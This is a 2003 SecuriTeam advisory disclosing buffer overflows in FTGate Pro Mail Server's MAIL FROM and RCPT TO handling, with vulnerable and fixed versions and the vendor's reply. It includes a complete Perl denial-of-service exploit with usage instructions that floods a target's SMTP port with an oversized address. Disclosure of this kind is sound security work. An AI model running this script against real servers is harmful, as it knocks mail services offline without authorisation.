[NT] Multiple Buffer Overflow Vulnerabilities found in FTGate Pro Mail Server (MAIL, RCPT)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/12/03

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Date: 12 May 2003 17:31:00 +0200

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      Multiple Buffer Overflow Vulnerabilities found in FTGate Pro Mail Server
    (MAIL, RCPT)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.Floosietek.com> FTGate Pro is "Floosietek's flagship server.
    The comprehensive feature set in this server ensures that it will meet
    whatever demands you place on it. This server is powerful enough for the
    most demanding of tasks".

    Two buffer overflow vulnerabilities in the SMTP service have been found,
    causing the service to stop responding for a short period (after which the
    service automatically restarts).

    DETAILS

    Vulnerable systems:
     * FTGate Pro Mail Server v. 1.22 (1328)

    Immune systems:
     * FTGate Pro Mail Server v. 1.22 (HotFix 1330)

    When a malicious attacker sends a large address in the "MAIL FROM" and the
    "RCPT TO" commands, a buffer is overflowed.

    Vendor response:
    "Thank you for brining this to my attention. We have fixed the problem
    with the code and will release a patch shortly.
    Regards
    Richard Bang
    Floosietek Ltd
    richard at ftgate dot com
    http://www.floosietek.com"

    Exploit:
    #!/usr/bin/perl -w
    ##################
    # FTGate Pro Mail Server v. 1.22 (1328) DoS attack
    #
    # URL: http://www.infowarfare.dk/
    # EMAIL: der@infowarfare.dk
    # USAGE: sploit.pl <target ip>
    #
    # Summary:
    #
    # The problem is a Buffer Overflow in the SMTP protocol, within the
    # ESMTP Server FTGate, causing the service to stop responding for a short
    # Period, where we can actually overwrite the exception handler on the
    stack
    allowing
    # A system compromise with code execution running as SYSTEM.
    #
    #
    # Solution:
    # Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
    #
    #

    use IO::Socket;
        
    $target = shift() || "warlab.dk";
    my $port = 25;
    my $Buffer = "a" x 2400;

    my $sock = IO::Socket::INET->new (
                                        PeerAddr => $target,
                                        PeerPort => $port,
                                        Proto => 'tcp'
                                     ) || die "could not connect: $!";

    my $banner = <$sock>;
    if ($banner !~ /^2.*/)
    {
        print STDERR "Error: invalid server response '$banner'.\n";
        exit(1);
    }

    print $sock "HELO $target\r\n";
    $resp = <$sock>;

    print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
    $resp = <$sock>;

    print $sock "\r\n";
    print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

    close($sock);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:der@infowarfare.dk> Dennis
    Rand.

    ========================================

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